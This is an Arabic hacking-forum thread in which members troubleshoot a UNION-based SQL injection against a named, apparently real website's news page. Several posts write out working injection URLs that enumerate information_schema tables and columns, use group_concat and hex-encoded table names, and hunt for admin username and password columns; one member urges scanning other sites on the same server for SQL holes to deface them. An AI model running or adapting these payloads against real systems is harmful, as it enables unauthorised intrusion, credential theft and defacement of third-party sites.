مشكله في ثغرة حقن ؟؟؟

[T-72]

كيف الاستاذه

مشكله حقن م عرفت لاقي الها حل

هي الحقنه

http://www.cumbredecanpomeranias.com/noticias.php?id=33+and+1=0+union+select+1,2,concat (table_name,0x3a,column_name,0x3a,table_schema),4, 5+from+information_schema.columns
كل شي تمام
تابع القنة التالية ؟؟
http://www.cumbredecanpomeranias.com/noticias.php?id=33+and+1=0+union+select+1,2,concat (table_name,0x3a,column_name,0x3a,table_schema),4, 5+from+information_schema.columns+where+column_nam e+LIKE+CHAR(37,%20112,%2097,%20115,%2037
ظهر الخطأ

شو المشكله


==============
مشكورين

بر[ب]
.

[hitman-zone]

http://www.cumbredecanpomeranias.com...20115,%2037%29

انت نسيت (

[KaLa$nikoV]

في هيك مشكله بنجرب الدرس 17

انا جربت الخطوه الاولى

كود PHP:

http://www.cumbredecanpomeranias.com/noticias.php?id=33+and+1=0+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables 


وبعد كده يطلع هذا

كود PHP:


albumes,
cachorros,
********os,
enlaces,
exposiciones,
fotos,
librovisitas_php
,noticias
,perros
,tipos_********os,
visitas, 


ولا واحد منهم له علاقه ببيانات باسورد وادمن من الشكل الظاهري

اذا انت بدك الموقع وخايف يمر عليك شيء بتفتشهم كلهم كيف افتشهم هيك

بنمسك الاول ونشفره

0ْx616C62756D6573

خلينا نتابع

اقتباس http://www.cumbredecanpomeranias.com...616C62756D6573

تمام طلع لنا

اقتباس albumes:id:cumbredebbdd ,albumes:album:cumbredebbdd, albumes:id:cumbredebbdd-n, albumes:album:cumbredebbdd-n ,albumes:id:cumbredebbdd-s, albumes:album:cumbredebbdd-s

زي ما انت شايف فش فيهم باسورد ولا يوزر
كلها
id albom

وهذا سبب حصول الخطا لما نضع امر البحث عن الباسورد
انه فش كلمه اسمها
pass
موففق

[T-72]

لك مشكور يا احلى معلم
رح حاول هلا وشفرهن واحد واحد وشوف النتائج

والي رجعه

بر[ب]

.

[T-72]

معلم :a42:

انقلب راسي وصرت بدوامه


م عم وصل لنتيجه ؟؟؟

بطلت جمع رح يفجر راسي :a17:


والحل :088:


بر[ب]

.

[KaLa$nikoV]

÷ههههههههههههههههههه عمهلك يا حج

انا لما شفت الموقع
عرفت انه ما اله لا يوزر ولا باس

بس حبيت ادلك الطريقه

لانه في مواقع يكون كذا اليوزر والباس

pwd
usr

هذول مستحيل تجيبهم غير بالطريقه فوق
;)

موفق

[T3BaN_HaCkEr]

شوف انت ما خسرت شئ

ابحث على سيرفر الموقع عن مواقع ثانيه

بتلاقي كثير

ابحث عن ثغرات سكيول

وان شاء الله تلاقي المطلوب

حاول تدعس

واذا ما دعست على الأقل تعلم .. وإزداد في الخبره

[T-72]

مشكورين يا احلا اساتذة

بس م فهمت التعليق هاد

اقتباس لانه في مواقع يكون كذا اليوزر والباس pwd usr هذول مستحيل تجيبهم غير بالطريقه فوق ;)

بر[ب]

.

[KaLa$nikoV]

اقتباس شوف انت ما خسرت شئ ابحث على سيرفر الموقع عن مواقع ثانيه بتلاقي كثير ابحث عن ثغرات سكيول وان شاء الله تلاقي المطلوب حاول تدعس واذا ما دعست على الأقل تعلم .. وإزداد في الخبره

واذا ما دعست على الأقل تعلم .. وإزداد في الخبره


مش من قليل اشوفك مبدع يا تعبان هكر

عقلك راكز (الهدف دائما خبره اما الدعس انا ما احبه علق اندكس وامشي لالالالا الخبره اولا )

hack to learn not learn hack to hack